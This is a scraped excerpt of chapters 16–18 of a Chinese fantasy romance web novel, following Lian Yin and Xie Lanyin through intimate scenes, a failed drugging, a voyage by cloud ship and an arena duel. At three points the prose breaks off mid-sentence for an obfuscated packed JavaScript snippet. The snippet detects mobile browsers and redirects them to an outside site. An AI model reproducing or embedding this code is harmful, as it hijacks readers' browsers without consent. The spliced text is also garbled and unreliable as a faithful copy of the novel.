他低头轻轻伏在她耳畔说:“十七日嗯……后…唔……戌,戌时……” 连音:“……” 什么啊?他在说什么啊?? 滚烫的呼吸燎过颈侧的肌肤,他断断续续的声音还在继续,连音思绪飘散了一会儿,努力去拼他话里的信息。 十七日后的戌时,陨落之地会开启。 他说完话后,并没有再次沉默下来,仍旧会在她耳边发出一些短促,破碎的音节,喘息。 连音被他搞得好难受,原来他不提不觉得,自从他提过后,又这么紧紧挨着她后。感觉他身体的每一寸,手指,声音,气味,都在引/诱她。 有点烦。 偏偏他这次还不像上次那么快…… 连音被他这么抱着,也看不清他此刻的表情,可能看见了会更烦。 “你什么时候……算的?” “唔,刚才……” 连音突然不想听了,打断他:“好了,你别说话了,安静点。” 谢澜音听话地无言了片刻,忽然张唇轻轻含住了她的耳垂,温暖的触感。 连音手指有些发软,“你……” 话才开了个头又被紧随而来的,像是被舔过的触感打断。 连音忍不住掐了他一把,他身体微颤了一下,没有退开,反而抱得更紧,将自己更完全地交到她手中…… 结束后,连音随手在他衣服上擦了擦,将人推开,真的热死了。 她刚坐起身,就听见谢澜音问,“我是不是不行?” 连音顿了一下,说:“没有,你这次,挺行的。”就是有点太行了…… 谢澜音轻轻垂眸,问:“明天又要当什么事情都没发生过吗?” 连音低头抚平了衣上的褶皱,说:“我们也没发生什么吧?” 她还是觉得醉酒的事情有点奇怪,她不能对谢澜音负责,因为他对她的态度……也很奇怪。 16. 第 16 章 谢澜音双眸略有些失神,脸颊凑上前,黏黏糊糊地说,“还要……” 温热的吐息喷洒在她脸上,空气也无可避免的染上了几分黏腻。 连音按住他:“你知道我在生气吧?” 他漂亮的眼眸黯了黯,退而其次地亲吻了她手掌,含糊的声音混着吻落下,“嗯,对不起……” 他也想他们之间没有矛盾,希望她每天开心…… 可被讨厌却是走向她的必经之路。 假如不强求,假如事事顺她心意,那他们从开始就不会拥有任何故事。 ……说着对不起,却又毫无歉意。 连音推开这个自私自利的家伙,说:“我要回去了。” 谢澜音安静注视了她一会,像是终于确定了她的无动于衷后,缓缓松开怀抱。 “嗯,”他轻声说,“明天见。” 谁要和他明天见了? 连音走出房间,本想趁着夜色直接离开,却看见远处夜空忽然出现的幽蓝屏障,宛如一层薄薄的月华,时隐时现,笼罩在庭院上方。 她又回到房间。 谢澜音还没有走,见她折返回来,不由朝她投去一个询问的眼神。 连音走到他跟前,说,“我有点担心你。” 谢澜音视线看向她手里的酒壶,不解,“担心我?” 连音将酒壶放在清空了的棋盘上,倒了一杯:“你不是心情不好吗?一直闷在心里也不好受,不如喝点酒,和人倾诉一下。” “你又愿意听了吗?”谢澜音看着她倒了一杯酒递给自己,下意识伸手去接,但手腕骨刚被折断现在还没恢复过来。 连音也发现他手垂着的姿态有些怪异,刚才给他折了还没接回去。 她递酒杯的动作停在空中。 “……” 谢澜音继续伸手向前,手指触碰到酒杯,连同少女的手指,像是试探什么。 指尖传来的温度有些寒凉。连音眼睫颤了颤,看着他并没有要接过酒杯的意思,抬起头。 谢澜音轻描淡写地解释了自己刚才的行为:“没力气了,拿不住。” 没有提及一个字原因,也没有说疼,但他注视而来的眼睛却明明白白地告诉她,他想要她愧疚。 但她怎么可能会愧疚呢? 连音越过他的手,直接将酒杯递到他的唇边,“我喂你喝。” 谢澜音看了她一秒,然后低下头,就着她的手缓慢将杯中酒液一点点饮尽。 连音望着他,思绪开始走神…… 她在想离开这里之后的事情,她得赶紧出城,还要尽快离开西州境,一刻都不能停歇。 她身上有避免被推算的法宝,但明天要面对很多追兵,还有…… 谢澜音喝完了。 连音正想再倒杯新的端给他,忽然听见他说:“劝酒不是这样劝的。” 连音动作顿了下,听见他又说,“不是要听我倾诉吗?你打算站着听?” 就在连音放下酒杯,打算坐到对面去时,手腕被拉住。 谢澜音没用什么力气,或者说被折断的手根本使不了什么力气,她都不需要甩开这只手,只要再往前走两步就能挣开它。 “不是说,担心我吗?” 谢澜音的声音再度响起,语调听不出什么情绪起伏,像是特意提醒她,要想取信他,虚与委蛇的步骤怎么可以略过呢。 连音心跳骤然漏了半拍,一瞬间甚至怀疑他知道了自己的计划,但是他刚刚明明把酒都喝干净了。 他今天已经很累了,应该不会再为这种小事伤神。 连音走近他,像刚才那样坐到他怀中。 底线是只要打破一次,就会被打破无数次的。 从最开始的坚定拒绝,再到现在的看心情,看情况……毕竟他长得很漂亮,她也不吃亏,不是吗? 连音对男女之事比较淡薄,既然做了,那再做更多也无所谓。 她没有发生了什么就认定对方一辈子的想法。只是她往往迈不出靠近别人的第一步。 谢澜音抱住她,心中有些埋怨——明明他们刚才也闹不愉快了,怎么就这么轻易地让他抱了呢。 一边胳膊收紧,将人抱得更紧。好讨厌她。 连音偏过头对上他幽暗的眼眸,催促道,“你不是要讲你悲惨的经历吗?” “嗯,在想啊……”谢澜音应得散漫,视线转向远处跃动的烛火,“要从小时候讲起吗?” …… “谢澜音”是一个怪胎,从出生起就患了怪病,发色肤色瞳色都异于常人,又体质孱弱。 在他没有展露天赋之前,诞下他的父母时刻想将他当作污点抹杀,抹杀的手段不限于下毒,禁食,溺毙…… 所有人都排挤他,想要杀掉他,所以他变得冷漠又扭曲。 ——这是他要告诉连音的版本。 实际上,这些苦难都是他故意赋予给“谢澜音”的。 魂道大成者能够奴役他人的灵魂,操纵别人对他来说就像摆弄提线木偶一般简单。 在音音的故事里,小女孩的父母总是缺席,小女孩的父母拥有其他的孩子,他们将她抛弃在病房…… 那谢澜音的父母也必须先拥有其他的孩子,然后才能够缺席,才能将他抛弃…… 他复刻了连音说过的故事人物,感受她的苦难,试图体验她当时的心情。 他想更加了解她。 也许是他天生比较缺乏共情的能力,任何恶意对于魔来说都只是他强大的来源,他自身感受不到什么特殊的情绪。 他像是抽离在外的第三者,只有在代入连音时,才会感到难过。 音音好可怜啊。 如果是她的话,肯定受不了别人这么对待。 如果他这个时候能在她身边就好,他会解救她…… 他只会对音音抱有特殊的心疼的感情。 玩腻了这场游戏后,他便让那些碍眼的角色彻底退场了。 他根本没什么好可怜的。 但这是在连音面前,谢澜音只会讲述自己是如何地被人可怜对待,怎么拥有如今这副坏掉的身体…… 他是如何的,与她的曾经同病相怜。 听完这个故事已经是深夜。 连音早就预想过谢澜音的过去会比较悲惨扭曲,中间也一度有被挑起情绪,说过一些安慰的话,但到最后她只剩下着急。 为什么,药效还没有开始??? “……” 谢澜音知道她在等什么。 他也在犹豫……是直接了当地告诉她迷药没用,还是用谢随的身份再陪她玩一圈呢? 白跑一趟, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15834885|175624||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 她应该不会开心,还会有被契约反噬的危险,会疼。 “迷药对我没用。”谢澜音看着她微僵的神情,道,“回去休息吧。” 连音没想到他竟然就这么坦白了,还轻飘飘地揭过了这件事,没有要追究的意思。 连音问:“你什么时候知道的?” 谢澜音说:“喝下去的时候。” 连音:“不知道就喝?如果是毒酒呢?” “你要把我毒死吗?”谢澜音笃定地说,“你不至于因为这种事情就把我毒死。就算是真的毒酒,我也会喝。” 意义不明的后半句话。 连音只能认为他在找死,他一直热衷于给自己找死,从见面起谢澜音看起来就不太想活。 可能生命是最不能威胁到他的东西了。 一个人连死都不怕,那他还会有什么破绽? 连音没再继续探究这个问题的答案,现在已经很晚了,今晚逃跑的计划失败了,她也该…… 忽然,她眼前的画面开始摇晃…… “谢……”她的喉咙像是被什么东西缠绕住般,每一个音节都那么无力,落不下来。 “嗯。”谢澜音靠近的面容逐渐变得模糊,那双低压的紫眸颜色温柔,“你困了。” 她……困了? 连音脑海接收到这句话后,上下眼皮也变得沉重起来,止不住地打架,画面不断从模糊切到漆黑…… 模糊、漆黑、模糊、漆黑…… 两者交替闪现。 脑袋昏沉到了极点,整个世界都在摇晃。 有人将一个轻柔的吻印在了她额头。 “晚安。” 他似乎还说了一句什么,连音听不清了。 意识彻底黑去,她支撑不住地倒在那人怀抱中,昏睡过去。 下滑的身体被接住。 谢澜音抱着熟睡的少女站起身,先前折断的手臂复原,他稳稳当当地将人抱离了房间。 随着施术者的离开,窗外皎洁的满月幻象缓缓崩解,一缕缕血红色的光从圆月龟裂的缝隙中渗透出来…… 不过片刻,一轮巨大的血月出现在窗前,看起来比先前还大了一圈,散发着不详的气息。 今夜是逢魔时刻。 谢澜音将少女放到床上,自己也和衣躺了上去,满足地将人抱在怀中。 …… 长夜过去,远处的窗台照进阳光。 视线缓缓在眼前聚焦。 面前人拥有两扇浅色的长睫,鼻尖也在脸颊上投落一点秀气的侧影,熟睡时显得格外单纯无害。披散的白金色长发枕在身下,有些与她的发丝缠绕在了一起。 连音醒来是在谢澜音的怀中,他抱着她,像一只八爪鱼般缠绕在她身上,绝非女性的身体有些硌人。 连音稍微后缩,想要逃离这个的怀抱,却被揽住腰,大腿处贴上来的温度滚烫得让她瞬间僵在原地,不敢再动。 当然,她一直知道他不是太监的。 偶尔接吻时谢澜音也会出现正常的生理反应,但他似乎只对接吻和拥抱感兴趣,没有更进一步的想法。 连音视线扫过他们的衣服,都还好好的穿在身上,只是有些乱而已,至少她的绝对没被脱过。 连音松了口气,看到他缓缓睁开眼睛。 谢澜音醒了。 17. 第 17 章 他睡眼朦胧地望了她一会儿,然后很缓慢地,一点点垂下眼帘,像是要再度睡过去般。 但他揽在她腰间的手又在搂紧。 连音感觉自己的呼吸都快要停止。虽然没有刻意去想,但她无法忽视那里逼人的温度,她甚至能够清晰感受到他的轮廓…… 她应该质问他昨晚怎么回事? 她为什么会出现在这里? ……而不是像现在这样僵硬,一动不动。 连音手掌抵住他过近的身体,将他往外推。 谢澜音半睁开眼睛望她,眼中还萦绕着丝丝惺忪的睡意,“……怎么了?” 他仿佛一点都不觉得现在这样有什么不对,还那么理所当然地问她怎么了?? “我为什么会出现在你的房间里?你为什么要这么抱着我?昨晚发生什么了?”连音边说边撑着他还不知后退的胸膛,“你快松开我!” “昨晚?”谢澜音眨了眨眼睛,眼神无辜地说,“昨晚你说担心我,要和我喝酒,结果你先醉了,对我又亲又抱,我没办法只能带你回来了……” “说谎。”连音推开他,坐了起来,“我昨晚根本就没有喝酒,你什么时候给我下药的?” “下药?”谢澜音也慢慢坐起来,语气疑惑,“什么药?” 连音正要说话,却先不解,“你为什么突然开始脱衣服?” 谢澜音如玉修长的手指褪下外袍,解开腰带,垂睫说,“弄脏了。” ……弄脏? 谢澜音抬眸看向还没明白的连音,眼底荡漾开盈盈笑意,“你要坐在这里看着我脱吗?我会全部脱光的,不然换不到弄脏的地方。” 连音瞬间反应过来他弄脏了什么……脸颊隐约要烧起来,“那你慢慢换。” 她飞速地下了床,离开房间。 望不见少女的身影后,谢澜音才收回视线,他重新躺回床上。鼻尖嗅到残留的香气,手指拂过被褥,也还能摸到柔软的体温…… “音音……” 他迷恋地感受着她的气息。 渐渐地,他的呼吸开始急促,阳光照入他紫罗兰色的瞳孔,里面是涣散的,随后,微卷的长睫根部也有些湿了…… …… 庭院附近的结界没有解除,连音离开房间后也去不了别的地方。 距离出发去登云秘境只有一天时间了。 连音走到结界边缘,见感觉不到杀意,便上手摸了摸,心中估算了一下破开它需要的时间。 大概需要两个时辰? 这个结果让连音有些沮丧,太久了。 谢澜音换衣服很慢,等他出来已经是半个时辰后了,连音也没什么话想问了。 她虽然好奇谢澜音是什么时候动的手脚? 但他显然没打算告诉她答案。 谢澜音仿佛遗忘了昨天发生的不愉快,慢腾腾地坐在她边上,照常和她说着话。 连音不想理他,也不会理他的。 “你在等人吗?谢随今天不会来的。” 她谁也没有等,也不会指望谁。 “今天也没什么人会过来了,你想要……好像也不能出去了,现在外面都是人守着。你想要吃点什么吗?” 又没得到回应。 谢澜音也没有在意,开始给她讲起登云秘境的情报,一边取过桌上的葡萄剥了起来。 登云秘境位于天外天,只能乘坐云舟前往。 谢家没办法独吞这座上古秘境,会和西洲境的其他同盟家族一起出发,他们现在正在昭阳城中做客。 虽然秘境情报难得,但届时肯定还会遇上其他地域的势力…… 谢澜音将一小盘剥好的葡萄推到她面前,日光下,他沾了汁液的修长手指有些亮晶晶,两串红白相交的珠串在腕间晃动。 见连音视线落在自己手上,他说,“我洗过手了,很干净。” 他在哄她。 像是对待一只小动物,只在心情好时,没有矛盾时,施舍般地讨好。 连音没有去看那盘葡萄,她不需要。 谢澜音略有些失望,但也没再劝什么,而是说起另一件事。 “天外天很危险,路上你要一直和我待在一起,包括住。” 连音有些想破功了,但最终又没开口。 谢澜音见连音欲言又止的模样,轻笑道:“你打算一直不理我吗?我们又不是只有这一天,还是你想再同我喝酒?” 他说,“我也很担心你。” 他在嘲讽自己。连音目光落在他的脸上,却懒得争吵。 她知道自己不可能一个月都不和他讲话的,可能几小时后,明天?但总之现在不想。 下午的时候谢随来了。 他来交代了一些明天需要注意的事情。 连音觉得很奇怪:“这种小事为什么也要你来跑一趟,你今天不应该很忙吗?” 谢随头顶谢家下一任继承人的名号,就算没有去应酬那些同盟的家族,应该也不至于像个小厮一样跑来跑去的通知这种事。 谢随挑眉道:“很忙就不能忙里偷闲来?” 连音恍然:“你是逃出来的。” 谢随:“是啊,你知道来了多少人吗?名字都不记住,每个人都要和我讲话,敬酒,我再应付几圈,别说明天出发了,能不能起来都成问题……” 连音看着谢随,只感觉一旁谢澜音的目光快要将她射穿了。 她知道谢澜音先前说的大度都是屁话,他最受不了别人冷落他了。性格麻烦又讨厌。 谢随也察觉到了气氛的怪异,打圆场地问道:“你们先前在聊什么?” “没什么。”谢澜音回答说,“随便聊的,你们继续。” 谢随:“……” 他没有要赶人的意思,态度也不咄咄逼人了,反倒让谢随不习惯了。 谢随坐了会儿,两刻钟不到便离开了。 谢澜音轻叹:“遗憾吗?” “他走了,你又只能和我待在一起了。”他又开始说这种意味不明的话了。 连音:“有什么好遗憾的,他会走不是很正常?” “愿意理我了啊。”日光落在谢澜音瓷白的脸上,他迎着她的目光轻轻笑起来,“其实我也没有真让你进秘境送死的意思,到时候你可以就留在云舟上,等秘境结束,如果我死了也和你没关系。” 如果到时候她真的能无动于衷的话。 - 出发那天,昭阳城上空停着好几艘巨型云舟。 雕花精美的船身镶嵌着宝石,外观呈优美宽阔的流线型,穿梭在高空云层中,宛如一只只游动的巨型鲸鱼。 投落的阴影几乎将大半个昭阳城笼罩,城中万人空巷,居民们都在为即将出发的谢家修士送行。 家族强盛,也是他们的荣耀。 去往天外天的路上容易遭遇凶兽袭击,可能也有在结盟家族面前撑脸面的意思,谢家这次拿出的云舟比谢随上次拿出的云舟规模豪华了三倍不止,各类设施如炼丹房,炼器室,练功房等都很齐全。 云舟上房间很多,但也有好坏之分。谢澜音住着的房间明显是最好的那档,建造材质就和先前最外层见到的房间不一样,墙壁内埋了很多层防御阵法,比之前庭院里的结界还牢固许多。 云舟飞往天外天一路上除了要遭遇凶兽袭击外,还有许多未知的自然灾害,防御这一块自 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15834886|175624||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 然是重中之重。 关上门隔音阵法便自动启动,门外人来人往的嘈杂声响瞬时消失得一干二净。 世界寂静得仿佛只剩下他们两个人。 连音视线扫过房间,很宽敞,能睡觉的地方也并不只有床,这个结果让她稍微安心了一点,至少像昨天早上那样尴尬的事情不会再发生了。 “你要是觉得待在屋里太闷,也可以出去转转,不用和我一直待在一起的。”谢澜音忽然说道。 连音转头看他,奇怪他怎么突然这么好心? 谢澜音歪头笑说:“干嘛这么看着我?之前说好了要给你休息时间,既然晚上要和我待在一起,那就只能白天给你放假了。” 连音问,“那你呢?待在房间吗?” “不一定——”谢澜音慢悠悠地说,“可能我也会去随便逛逛,找点乐子……你想和我一起吗?” 连音:“……不想。” 她直觉这个找点乐子不会是什么好事。 “不想就对了。”谢澜音笑着说,“既然不和我一起,那就什么都不要问。” “不要说得我多关心你一样,就是随便问问。”连音推开门打算出去,却被拉住手腕。她以为谢澜音又反悔了,正想回头问他干什么—— “酉时前记得回来。”谢澜音松开手说,“还有,注意安全。” 连音怔住了:“……” 好莫名其妙。 一个经常惹是生非的人竟然提醒她注意安全,这不是主次颠倒了吗? 连音没回什么,走出了房间。 外面的风很大,云舟飞行在高空,迎面而来的空气带着稀薄的寒意,视野内走动的人影很少。 她每走几步就能看见一个把守的谢家修士,想来是这里住的人身份都比较要紧,所以才这么清冷。 连音往外走去,忽然看到一个有些眼熟的身影,是那天被谢澜音刁难的长老,他也住在附近? 那位长老刚走出门,看到连音,神情竟然闪过一瞬不自然的闪躲,他回身带上了身后的门。朝她走来。 连音直觉不会是什么好事,但如果转头就走那奇怪的人就是她了。 那位长老快步走近,面上露出一个和善的笑,“你是那天谢澜音身边的……” 连音道:“护卫。” 那位长老恍然:“我是听说他找了个绝世高手,把身边的其他护卫都遣散了,原来是你啊!” 连音:“……什么绝世高手?” 他还真敢在外面乱说。 捧杀不可取。连音抱怨道:“其实是那日游湖我不小心冲撞了他,他故意把我调到身边日日折磨羞辱……” 长老闻言,脸上神情微微动容,似有共鸣。 连音赶紧加大力度,讲述了自己成为谢澜音护卫一事并非情愿,其实心底对他积怨已久,只是敢怒不敢言。 长老眼中精光微闪,好心地劝道:“姑娘,这些话还是不要再讲比较好……” 这人上次他走的时候脸上不是恨得牙痒痒吗?现下她说他讨厌的人坏话,应该高兴才对。 虚伪。 “为什么不能说?”连音循循诱导,“这里只有我们,长老你上次心里也不好受吧——” “不是!我没有!”长老面色尴尬,眼神不断瞟向她的身后,“咳,那个…… 连音要是再看不懂暗示,那她就是傻的了。 “……” 长老见她终于懂了,面露不忍道:“我先走了,保重。” “……” 连音回过头,看到了站在身后的谢澜音。 他身体倚靠在墙上,应该是刚从房间里出来不久,也不知道听见了多少。 18. 第 18 章 说人坏话被抓包,这确实要尴尬一下的。 “……” 连音深吸了口气,走上前,笑道:“……好巧啊,你刚出来吗?” “不是。”谢澜音看着她,说,“我出来了有一会儿了。” 连音强颜欢笑:“……是吗,你从什么时候来的?” 谢澜音无言地望了她片刻,直到她脸上的笑容有些发僵,嘴角才缓缓扯出一个笑,浅淡而温柔,“从——我日日夜夜羞辱折磨你,的时候开始来的。” 连音:“……” 从这句话开始,后面全是添油加醋的造谣。 连音藏在衣袖底下的手指微微握紧,面上语调平淡:“哦,你知道我刚刚在和他开玩笑的吧?” 谢澜音似笑非笑:“难道不是心底对我积怨已久,敢怒不敢言,只能虚与委蛇地奉承我吗?” 连音:“……” “原来我对你这么不好,你心底这么讨厌我……”谢澜音垂了垂睫,轻声说,“算了,我在谁心里都一样,就算真心捧出来也是被人踩碎丢在地上的命……” ……不是,他还越说越来劲了? 连音走近:“我说你……适可而止好不好?” “有没有真心你自己清楚,别说得自己真信了,刚才背后说你坏话是我不对,但这是都有原因的……” 谢澜音问:“什么原因?” 连音欲言又止,扭头看了看四周,确认没什么人后,回过头道:“你不知道刚才那个人——” 嘴巴忽然碰到一个凉凉软软的东西,谢澜音不知何时俯身凑得很近。 连音愣了一秒,迅速退开身,骂道:“你有病吧?” 说话说得好好的,突然凑上前…… 谢澜音身体被推到墙上,有些无辜,“刚才你的发带飘到我脸上了,有点痒,就忍不住低了一下头……” 他补充,“是你亲的我。” 又倒打一耙?连音心中那点仅有的愧疚也消散了。 “总之那个人可能会对你不利,我刚才遇上他,他看我的神色有点奇怪,所以我才这么说的。”连音一口气解释完原因,说,“你自己小心,我走了。” 也不等谢澜音回答,连音便转身快步离开了。 她怕他又觉得自己关心他。 其实关心也挺正常吧?毕竟她名义上还领着工资,但被谢澜音以那种口吻说出来就很奇怪……就好像关心他,就要和他建立什么特殊的联系。 连音离开居住的区域后,视野内逐渐热闹起来。 云舟面积很大,分好几层区域,从住所出来,最先见到的是一堆商业建筑,一眼望去,人潮如织,装潢漂亮的商铺排列整齐,丹药法宝功法秘籍应有尽有,此外还有一些食铺和酒楼…… 热闹得完全就像一座繁华的云上城。 连音简单逛了一下,这些商铺里的东西全都由谢家出品,价格昂贵,比市场价溢价了两倍不止,简直就是暴利中的暴利,但还是有很多人在购买。 要不说谢家怎么能够做大做强呢,推开门就让人先消费。 连音心中感慨了下,很快去了下一层。这层人就少了些,主要是供给修士修炼用的,虽然租用房间什么的都要灵石,但比上层的消费便宜很多。 连音打算租间练功房把境界提升一下,虽然谢澜音说不用她进秘境,但以防万一还是自己强大起来才安心。 练功房的租金也有高低之分,比如贵的聚灵效果比较好……连音一路看过去,目光忽然被旁边四四方方的大擂台吸引。 那张擂台底下已经围了两圈的人,气氛比之其他处的清冷,尤为热闹。 连音也好奇地凑上前看,只见擂台上一个浑身戴满了防御法宝的修士正在和明显火力不足的修士在对战。 说是对战,其实就是一个在进攻,一个在那里防御,并且进攻的修士每放完一个术法都要歇息个十几秒。 底下的修士都是血气方刚的年轻人,那受得了这么墨迹的战斗,大家都在骂。 “你们两个能不能打,不能打就滚下去!少占用擂台资源了!我们是来看你们这么打的吗?” “两个都打半天了,一个乌龟壳一个绣花针,到底有啥好看的!能不能别丢人了?!” 那位火力不足的修士显然有被嘲讽到,脸上红白交加了一瞬后,忽然摆出架势,神情肃穆,像是要做最后一次努力—— 然后他再次被群嘲了。 “滚下来!滚下来!” 火力不足的修士灰头土脸地离开了擂台。 那位“乌龟壳”还留在台上,他拍拍自己的身上的法宝:“我今天来就是来守擂的,谁能打败我,我就给谁一千灵石!” 此言一出,周围骂他的修士顿时少了很多,也陆续有人上去找他挑战,但大多无功而返。 最先下场的那位“绣花针”修士立马就扬眉吐气了,火力全开地嘲讽道。 “就这?我当多厉害呢,你们也不行啊!” 被嘲讽的修士也当仁不让的还嘴回去—— 场面一度有些乱哄哄。 连音猜测台上修士应该是个器修,可能前脚刚从炼器室出来,后脚就来这测试法宝了。 她心里也有些想尝试挑战,但之前才被谢澜音坑的事情还历历在目,对这种赌局都有点印象不好了,而且挑战的人也很多。 连音又看了会儿,离开了擂台,转身去旁边的练功房待到下午。 出来时擂台那边的战斗还在如火如荼地进行着,那位器修竟然还没被打败?连音这下是真的有点好奇了。 她不在半天里,擂台这边的气氛已经完全变了,大家都在讨论要怎么打败“乌龟壳”,对他身上的法宝逐字分析…… “乌龟壳”修士说:“最后再上一个!再来个拿武器的!你们那些个什么符啊术法啊,都软绵绵的没力气,最后来个有力气点的!” 此话一出,周围大半修士脸上都露出屈辱的表情,他们是刚才被“乌龟壳”打败了,留在附近没走的,虽然心里不服气但也说不出话。没面子。 有了条件限制后,一下子竟然就没人上去了。 器修视线扫过众人,不可置信:“就没人了啊?” 底下人也没想到就没人了,都在左顾右盼地看:“上人啊!没有一个带武器的啊?都修的什么道啊?” 等了两秒,见实在没人上,连音便上去了。 碧落蓝的束袖衣裙,款式别出心裁,莹白无暇的长剑,剑身薄如蝉翼,轻得看起来还没打就要断掉。其主人还是一个长相没什么攻击型的漂亮女修。 见连音上台,周围人先是沉默了一阵,陆续有质疑的声音冒出。 “这细胳膊细腿的,看着哪有力气啊……” “这剑要是碰坏了,不会还要乌龟老哥赔吧?” 器修听了周围的话神色也有些迟疑,犹豫要不要再换一个人上来时,一阵剑风掠过。 这名器修的防御手段全部穿在身上了,他准备不准备其实没什么区别,因此连音也没和他打招呼,一上来就直接进攻。 锋利的长剑砍过器修身上像是铠甲的法衣,没有在表面留下任何划痕。 面对这堆铁疙瘩乌龟壳,大部分不熟悉器道的修士都会头疼,找不到突破口。 连音耐心地多试探了几处,寻找破绽。 实战和观战的感觉很不相同。 自从秘境醒来连音还没有和人正式打过架,或者说都没有和人对战的机会。 台下有修士看不明白,想要催促被看出门道的人拦下。 时间一分一秒,连音终于找齐了这件法衣的破绽,凝聚剑气,从防御最薄弱处将它击破。 这件法衣的锻造手法比较用心,只损坏一处并不会影响整体功能,但破绽这东西只要露了个头,就会越来越多。 连音知道炼器师心里都会心疼自己的作品,她问道:“还继续吗?” 对面的器修显然也是明白这个道理,连忙道:“不继续了!” 守擂这么久,他身上其他的防御法宝早就损坏得七七八八了。 “没想到今天还真有人弄坏我的法衣,看来回去还要再改进一下。”器修说得一脸肉痛,毕竟他这件法衣的材料是很珍贵的,本来他其实也只是想来装逼炫耀自己的作品的,没想到真坏了。 这时候台下有修士问了。 “乌龟老哥,你不会是看人家长得漂亮放水了吧?” “瞎说什么呢?”器修愤怒地说,“一个器修就算再想放水也绝对不会拿自己法宝的质量开玩笑!” 说完器修转头给连音付完赌约说好的一千灵石,就下了擂台。 ——外面的人可不会像谢澜音那么坏的。 这个忽然浮上心头 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15834887|175624||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 的认知让连音觉得自己倒霉又好笑。 她将沉甸甸的灵石收入储物袋,想着正好可以去楼上吃饭。连音转身刚打算走下擂台,擂台的结界忽然亮起,是有人又上擂台挑战了。 连音回过头,正想说自己要认输,“不继续打了,我……” “不会很久的,玩一下吧?”来人戴着张漆黑的狐狸面具,长垂至腰的乌黑墨发高高束起,束袖的玄色长袍,紧扣腰身的腰带银饰反照银光,勾勒出少年人劲瘦有力的身材。 他的武器是一把刀。 视线对上的瞬间连音便感到一阵棘手,这个人的气场和刚才的修士完全不同。 下一秒,面具少年身影消失原地。 连音立刻拔剑,抵挡住他来势汹汹的进攻。 刀剑相撞,碰撞出激烈的火花。 连音的心率在不断攀高。 严格意义上讲,这才是她醒来后的第一场战斗。 刚才的器修只守不攻,和他对战的压力最多是失败了被人嘲讽,而面前人却天然带着股压迫感,让人不自觉重视起来。 刀剑都是近战兵器,极其考验人对拼时的反应和速度,比拼起来也十分有观赏效果。 短短几息时间,一刀一剑便拆了数十招。 底下修士今天还是第一次看到这么精彩的打斗,纷纷欢呼叫好。 “这才叫擂台切磋!之前那是什么王八玩意,都快给我看困了!” “就是就是!我们攻打秘境的修士就该看这么热血沸腾的战斗!这才是擂台该有的灵魂!” 刚下擂台还没走的“乌龟壳”修士:??? 不是,你们……? 刚才不还喊他乌龟哥的吗? 不同于台下观众的兴奋,台上刀光剑影,连音几乎听不见台下任何声音,她耳朵只能听见风声撕裂,刀风袭来的方向。 连音紧握住着手中剑,聚精会神地将对手每一次进攻化解…… “你动作好生疏,很久没用剑了吗?”面具少年忽然开口,“很多时候也不太自信,就比如刚才,你应该进攻……” 连音虽然脾气好,但也是有极限的—— 谁受得了打架的时候对面一直叽里咕噜地讲废话,做教学指导啊? ……再说,他也没多厉害吧? 连音心中不服气,原本保守的剑式也染上了几分攻击性。 “你气乱了。”面具少年却在这时拉开距离说,“再练练吧,我们下次打。” 言下之意就是,你现在打不过我,或者现在切磋没意思。 连音:“…” 连音:“……” 她忽然理解了刚才器修的话,没有一个修士会拿自己的道开玩笑的,同样被歧视也不行! 更何况她还是修为倒退了两个境界的,在连音心里她自己的实力肯定不止于此,自然也要比同境界的人厉害才对…… 算了,接下来几天她都会努力修炼,直到把刚才那个不敢真面目见人的少年打趴下为止。 底下人还没看清怎么回事,战斗就忽然结束了。面具少年离开了擂台,连音也马上离开了。 周围人瞬时都涌上来询问刚才的战况,连音不想回答,也没什么好回答的。 她被人群团团围住,而那面具少年早就溜没影了,想想更气了。 最后是“乌龟壳”修士为她解了围。 “我叫吴归,是名器修。” 连音礼貌地与他交换了个名字,心道原来还真是“乌龟哥”,难怪这人之前在台上这么开心。 吴归打探道:“连姑娘是学过器道吗?你的那把剑造得十分精巧,不知是出自哪位器道大师之手?” 连音如实回道:“家父是器道修士,剑也是他打造的。” “原来是这样。”吴归点了点头,热情地说道,“连姑娘,你还没用饭吧?正好我们今天也算有缘,不如一起吃个饭怎么样?我请客……” 连音抬起头,视线与一道等待已久的目光碰上,脚步停在原地。 ……又这么巧? “连姑娘?”吴归见连音忽然停在原地,不由疑惑地顺着她的视线往上看去。 只见前面的台阶上站着一名容貌昳丽的金发少年,他居高临下得望着他们,表情有些阴郁,看得吴归有种汗毛直立的感觉,这是身体在害怕。 有敌意?不,杀意?